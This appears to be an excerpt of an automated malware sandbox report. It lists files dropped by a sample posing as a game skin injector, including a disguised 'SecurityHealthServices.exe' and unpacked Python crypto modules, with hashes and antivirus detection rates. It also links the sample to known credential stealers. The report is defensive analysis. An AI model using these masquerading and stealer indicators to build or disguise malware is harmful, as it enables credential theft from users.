Entropy (8bit):	3.2300565441917586
Encrypted:	false
SSDEEP:	6:kK4/lEN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:w/lbkPlE99SNxAhUeVLVt
MD5:	EA4D44E6645F6B1D3D21E84CC6FBA36C
SHA1:	7C59A3CE58CF021A25018CEB1A3D49AB907F04CF
SHA-256:	B0A23BFF6A4CB7A05CA90199FA624D685A1C4DB7C67607F6B3D9F965525B466A
SHA-512:	F7F96F863AF226366D08360DA7E320C3E187DD04E25ABF40B1C25F69562E6F8BEEA294B13401D5E7C9BAF4CED296CCA70182AC18BD880B11542D5A9CA30DEA4C
Malicious:	false
Preview:	p...... ........}y.....(....................................................... ........M.........(.....wl....i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\R3nzSkin_Injector.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	5.372790392567961
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KmE4KnKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKmHKnYHKGSI6oPtHT/
MD5:	6FA1C8C6EF89F7BCC35755053308575F
SHA1:	7DF61DB6E581CE8F8299541E32D4689D58C5616F
SHA-256:	FCC2F0DA431358F2DF2C7EAEB5A4A51600E5101E0F95E6FB2E0EE3C5F5D5FAB4
SHA-512:	232B96231C78684AB6B1BAD8D39AD50994A40A084CBE8F9506282D6FE18D021DAA1E6D772F4F7CF76946593AA51C0B659210EC03875E0F555E68A73B044188D7
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..2,"System.IO.Compression.FileSystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Update.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulKlp:NllUK
MD5:	D94305FB8760DA3098BE4DA442AE53A0
SHA1:	2A40AC046A6D4D44151536FF7678A86A9AC942A2
SHA-256:	B6A07B39F75B36D4F4A16EFA4A878FD0CF3BF055C719A1CA3E6A17C23D32AFDC
SHA-512:	EB2929BDEFD999D5A69956E00E7CF0ECA2812670831ADC0CE8978E563542C129FF41A80D51648E343354797BC5BB20A626DC60CD130CCC8FB965E2B6D262BEB3
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\SecurityHealthServices.exe

Download File

Process:	C:\Users\user\Desktop\w85VkFOxiD.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2939256
Entropy (8bit):	6.581663132520867
Encrypted:	false
SSDEEP:	49152:eu4p2h9N1u2rb77JfP1isatSQqfGyb+KwIE/W0HAGEFDeco45ZNQbUr90xmubl:P4pUu2rb71fPnphuybFwIurQDpnNQ2qt
MD5:	5143FE6D0C9218C03877131E7FF8F195
SHA1:	4BB288F628D2E6D498F79196D7B94400F6E4A3C0
SHA-256:	CC0323377F6720D55FE5FFFB473BAB139A6B3C26B2FF9F5B0433CAAD1FDB3280
SHA-512:	9C4194EA2DFD10267ED8FC2B21D6B82A1425254CD6BAE28E4727EE93FF4B1888DB24FB92AE8A1A7E46759AD39DB45DFF774B2F2795CA115DF3E0166A3821C291
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 63%, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...Y.3f.........."...........+.....@..........@.............................0-...........`..................................................`..<.............,.......,.x)... -.x............................0..(....4..8............a..p............................text............................... ..`.rdata...7...0...8..................@..@.data....}+..p...X+..P..............@....pdata........,.......,.............@..@.00cfg........-.......,.............@..@.tls..........-.......,.............@....reloc..x.... -.......,.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe

Download File

Process:	C:\Users\user\Desktop\w85VkFOxiD.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	306176
Entropy (8bit):	6.617618122799842
Encrypted:	false
SSDEEP:	6144:fj7Q2Fnv3OcLHF1ZVTc0/YxuQOPLnrU1ZE2pkLPVQW13fe0I2028fOTMK+epwMg3:fj7dOqZVTc0/YxvOPLnrU1ZE2pkLPVQe
MD5:	8AF17734385F55DC58F1CA38BCE22312
SHA1:	6983464A9C6391BDD1E7B0AA275ACF0A49C12D76
SHA-256:	EA034D7B08A538F827293C3B0742D4C178708AFDFD0F45D47CAD99967B311A97
SHA-512:	61C076BD92DE12FA0C48CA5E4B5EA263C3D4E39E9821BDABC98A84ED0D37D40065095E7EA08BFD35FD47D9FA27B7F6053992844044B9F5D6677EA7A19E25B024
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55% Antivirus: Virustotal, Detection: 64%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........X..DX..DX..DQ.}DT..DF.}DZ..D..E^..D..EZ..D..EN..D..E]..D...E\..DX..D...D..E[..D..DY..DX.yDY..D..EY..DRichX..D........................PE..d...(?.f.........."....!.\|...>......d..........@....................................BU....`..................................................F..........h]......x...............,...P...................................@...........................<...H............text....v.......x.................. ..`.nep.................\|.............. ..`.rdata.............................@..@.data...0....`.......>..............@....pdata..x............J..............@..@.rsrc...h].......^...L..............@..@.reloc..,...........................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_ARC4.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.693594490869205
Encrypted:	false
SSDEEP:	96:BZ9VD9daQ2iTrqT+y/ThvQ0I1uLfcC75JiC4Rs89EcYyGDVM0OcX6gY/7ECFV:r9damqT3ThITst0E5DVKcqgY/79X
MD5:	ABA0195EB33D86216170DCFF947DEBDB
SHA1:	ACBE4DC26AD65DE51385CD95128491C64DEF9502
SHA-256:	1F588A0D71C5378987FE05224493D85E93D02A52CE0B05809A06FC2BD489C325
SHA-512:	8E4C7E02E55C7A64F81A2256A0B926A8CAD676571B6F822F7FDFDA5E4CC3EBF2A3EE45188BA2D2D639977CD4DCDBD737CA33DE7E838F3CD0B17C948AF6B65280
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: skidclient.exe, Detection: malicious, Browse Filename: Tool-Scan-Proxy.doc, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1437.14994.32063.exe, Detection: malicious, Browse Filename: RO-EXEC.exe, Detection: malicious, Browse Filename: 7LZiZA4D6h.exe, Detection: malicious, Browse Filename: 7LZiZA4D6h.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Muldrop.25.17602.16093.exe, Detection: malicious, Browse Filename: LaZagne.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.CrealStealer.4.28055.30099.exe, Detection: malicious, Browse Filename: ICLOUDSTEALER.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........&...H...H...H......H..I...H..I...H...I...H..M...H..L...H..K...H...@...H...H...H.......H...J...H.Rich..H.........................PE..d...ba.c.........." ..."............P........................................p............`.........................................P(.......(..d....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata..,.... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..,....`.......*..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_Salsa20.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.048707283691193
Encrypted:	false
SSDEEP:	192:HjNF/1nb2eqCQtkluknuz4ceS4QDuWA7cqgYvEP:D52P6luLtn4QDBmgYvEP
MD5:	5B855B3E838D9C7FAAD4BD736CF56D59
SHA1:	AD51237A6E2D1BEEFDDABFC8BD8AC0E205ED735F
SHA-256:	7D1B252ADC643DEEB896430B58CF457436152351EB7FA043B4B24736C9EDF864
SHA-512:	180207B3BD88976240ECCF39F2F174AF0D13FEEFD9B22B92363C0D947E8BD5B1523417A73D4B5AAF9252A59162E34E2F5DF76C837CBD1B458D1830F4D4C70918
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...ca.c.........." ..."............P.....................................................`..........................................8.......9..d....`.......P..L............p..,....3...............................1..@............0...............................text...h........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_chacha20.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.051714127100642
Encrypted:	false
SSDEEP:	384:D22P6XTr0zXgWDbuQ0vdvZt49MgYvEMN:DN6XTragWDP9Jq
MD5:	5298CA8A45BB3ADD1A03EC4CF8A46072
SHA1:	CE7984FACB2DE472E247E4BBA042FEB406E1ABE1
SHA-256:	D70795D5B6103AC1D81794D209085C573E4554A312CCD762CC5767AC98E5965C
SHA-512:	B319464E07F3148F2079E22DB5B13CA08CCFE1986CD26A066B07147D6BF28E8B5D764C80AA22A33A5DFD7C9BC66FE39CBC4FC800E7FF6E13F0DE8856760A7242
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...ca.c.........." ..."............P.....................................................`..........................................8.......9..d....`.......P..d............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.....................@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_pkcs1_decode.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	5.103885048328888
Encrypted:	false
SSDEEP:	96:2YoF1siKeai1dqmJo0qVVLf/+NJSC6sc9kJ9oPobXXXP4IIYOxDml8jcX6gRth2h:MsiHfq5poUkJ97zIDmlucqgRvE
MD5:	68FD499C14CDDA49C5460E377410C30E
SHA1:	16CD9C10C564F4FB16CEEE33DA21BD4D4EB367B9
SHA-256:	48958204C0CC8412758C33FB4A970C87A83BE5A8A889959FE8831793D8102E06
SHA-512:	A9B529560ABDEF38110A2147EF3E7924EA43A75D946D95CEB745015B690811AA2509F387D7868F1C9C6BE526E2E32A764FE84C062CAD315FEEE344F38D9819F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............h...h...h......h..i...h..i...h...i...h..m...h..l...h..k...h...`...h...h...h.......h...j...h.Rich..h.........PE..d...aa.c.........." ..."............P.....................................................`.........................................P8..p....8..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@.......*..............@....pdata.......P.......,..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	6.554132422005377
Encrypted:	false
SSDEEP:	384:Wf+7nYpPMedFDlDchrVX1mEVmT9ZgkoD/PKDkGuF0U390QOo8VdbKBWmuxLg4HPy:uqWB7YJlmLJ3oD/S4j990th9VxsC
MD5:	3BD3AF4C84932CD1AB5A8084040A76F6
SHA1:	FD0429540688A8B2F6812C6347946910C6E8765D
SHA-256:	437E89FD3DD47F5DEB6165F4F2A7F228CD415FB7F3D5DF5C1CB16A90044008CE
SHA-512:	01DC0DDD1859E67A3C7B6EA92121CF1DBC2B8E440F9ECC5F182CAAC576FEEA57637D8437314058BCE7DE65DD2BFF70411A667CAA042FA51F8630B641E33E9C81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........&...H...H...H......H..I...H..I...H...I...H..M...H..L...H..K...H...@...H...H...H.......H...J...H.Rich..H.........................PE..d...^a.c.........." ...".H...H......P.....................................................`.................................................,...d...............................4... ...................................@............`...............................text....F.......H.................. ..`.rdata..d6...`...8...L..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aesni.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.236024148269018
Encrypted:	false
SSDEEP:	384:bURwiJsmXl02v8Y1uGniDOYtn3gwYUMvE:Owi6IOO1uGiDJtQwYU
MD5:	0BA521EBCF0851B1283DC25766490460
SHA1:	84C7F4E5CDA3F41461E95A11C35F438C10961EFC
SHA-256:	782CB833FA04DAFA51BF1CB8CC811D71C9C6598208EED046EF5D8294E3651818
SHA-512:	E02760F673BCBFEAAB3AAD86AD355070F80E573A68FBCE4DEB46AB5873A80D0B8B6744753F44437220E85D4D8E8D65D214780BF4EF5883AC92D05ECBCFD6DA96
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........eX.o...o...o.......o.......o.......o...o...o.......o.......o.......o.......o.......o.......o.......o..Rich.o..........................PE..d...^a.c.........." ..."..... ......P.....................................................`..........................................9......d:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............................... ..`.rdata.......0......."..............@..@.data...(....@.......2..............@....pdata.......P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_arc2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.563552079767176
Encrypted:	false
SSDEEP:	192:HJDd9Vk3yQ5f8vjVKChhXoJDkq6NS7oE2DDmlWw2XpmdcqgwNeecBU8:jk/5cj4shXED+o2Df8zgwNeO8
MD5:	75A2D9A48DF773694E82534635BE7B9C
SHA1:	4DC026B68CF697E8C5803775A5A9DAD656F8B247
SHA-256:	B8D36C0ED8C994ED11F36B2ABC7D3C5116C215719BDC19C9596BB9E3FB811A4B
SHA-512:	6221071EE7D441FFD83229B106B448DEF0E59354F17B16048D5C169583312ADE5534175F6D8A02C0827D68682C4343C27E3F002E5FC126C5F2300E0EC00EE18C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d..._a.c.........." ..."."... ......P.....................................................`.........................................0J.......J..d....p.......`..................,....C...............................B..@............@...............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data...8....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..,............>..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_blowfish.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20992
Entropy (8bit):	6.0599723099798455
Encrypted:	false
SSDEEP:	384:BU/5cJMOZA0nmwBD+XpJgLa0Mp8QAg4P2llyM:uK1XBD+DgLa1FTi
MD5:	AAF446AAF23C92FAD7D41B82DAA6F03C
SHA1:	61914BE2ABDE68D24919E5F9124256EFB3A35B97
SHA-256:	0432E9CF535C5C50DFA6776777BA89A2076BBF2DC6DB0EFA6C84483F501B00E3
SHA-512:	B95E6FA8B5CAF3085EED7E654B52AB2C734C9976223F0F8F8801CE98DD2531A4019B9879FFD468130BFBBED931B26C9148F3A9B91C8F4353B3492280E693BED4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d..._a.c.........." ...".$...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text....".......$.................. ..`.rdata..L....@... ...(..............@..@.data...8....`.......H..............@....pdata.......p.......J..............@..@.rsrc................N..............@..@.reloc..4............P..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cast.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	6.456355167983997
Encrypted:	false
SSDEEP:	384:icaHLHH4o07ZXmrfXA+UA10ol31tuXy1i/7gLWi:HaHLH4o0NXmrXA+NNxWiU/8LWi
MD5:	07D25B197C0E35BFD3C96550C5C64A6D
SHA1:	51B7D8D18EF6D67830F58124B0C5B685A34A067B
SHA-256:	FEFFAED6DBF10D4359DE74F6DA88C03C6A6B50D1568C5330343927E7797E3EC1
SHA-512:	1FB783FF9B10CD5EF02C2E00BA5594561AE6CD5F2DBE0D87D746A3E257579B7EC4644D44456F6D6119B2D3AF90613F5AC8CAA9D34A1D8B78550C532FCB78722D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...`a.c.........." ...".$...@............................................................`.........................................@i.......i..d...............................4....b...............................a..@............@...............................text....".......$.................. ..`.rdata.......@...0...(..............@..@.data...8....p.......X..............@....pdata...............Z..............@..@.rsrc................^..............@..@.reloc..4............`..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cbc.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.741900053920983
Encrypted:	false
SSDEEP:	192:HKF/1nb2eqCQtkrKnlPI12D0gacqgYvEn:A2P6KlPe2D4gYvEn
MD5:	A1B78A3CE3165E90957880B8724D944F
SHA1:	A69F63CC211E671A08DAAD7A66ED0B05F8736CC7
SHA-256:	84E071321E378054B6D3B56BBD66699E36554F637A44728B38B96A31199DFA69
SHA-512:	15847386652CBEE378D0FF6AAD0A3FE0D0C6C7F1939F764F86C665F3493B4BCCAF98D7A29259E94ED197285D9365B9D6E697B010AFF3370CF857B8CB4106D7D8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...aa.c.........." ..."............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cfb.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	4.898232178128461
Encrypted:	false
SSDEEP:	192:PRgPfqLlvIOP3bdS2hkPUDkfoCM/vPXcqgzQkvEmO:oYgAdDkUD1CWpgzQkvE
MD5:	0DCA79C062F2F800132CF1748A8E147F
SHA1:	91F525B8CA0C0DB245C4D3FA4073541826E8FB89
SHA-256:	2A63E504C8AA4D291BBD8108F26EECDE3DCD9BFBA579AE80B777FF6DFEC5E922
SHA-512:	A820299FBA1D0952A00DB78B92FB7D68D77C427418388CC67E3A37DC87B1895D9AE416CAC32B859D11D21A07A8F4CEF3BD26EBB06CC39F04AD5E60F8692C659B
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 1%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................;..................................................................W.............Rich............................PE..d...aa.c.........." ..."..... ......P.....................................................`..........................................9.......9..d....`.......P..d............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..d....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ctr.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.29833269304069
Encrypted:	false
SSDEEP:	192:OJ1gSPqgKkwv0i8NSixSK57NEEE/qexcEtDrYDjRcqgUF6+6vEX:uE1si8NSixS0CqebtDErgUUjvE
MD5:	785F15DC9E505ED828356D978009ECCE
SHA1:	830E683B0E539309ECF0F1ED2C7F73DDA2011563
SHA-256:	B2B68DE1D7E5997EB0C8A44C9F2EB958DE39B53DB8D77A51A84F1D1B197B58B1
SHA-512:	16033B72BE6D66AB3A44B0480EB245D853A100D13A1E820EFF5B12CE0BB73E17D6E48B3E778D1B20D0C04FE1FB8A5723C02ED8AF434AE64D0944F847796D98F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........F...(...(...(......(..)...(..)...(...)...(..-...(..,...(..+...(... ...(...(...(.......(...*...(.Rich..(.........PE..d...ba.c.........." ..."..... ......P.....................................................`..........................................9......x:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.258215596987393
Encrypted:	false
SSDEEP:	384:JUqVT1dZ/lHkJnYcZiGKdZHDLriduprZRZB0JAIg+v:zHlHfXid6X
MD5:	B9500783D7451E625999BFE450C7D02F
SHA1:	BA22CDFD949089D7BDC9397AF35A45A2010736C4
SHA-256:	67DA8E4B89954E385D282096F05867047A9EDF6434D2C148DD384AEEA782B19A
SHA-512:	0069FA0E96331F9E25F0C191EEC482A734DFA66403CB3544F401455A3B1E9B0E9B5D0CEEF91F3B62CA867B52FAF83C98F5BB362F052E5F1111A156BCBD7A3761
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
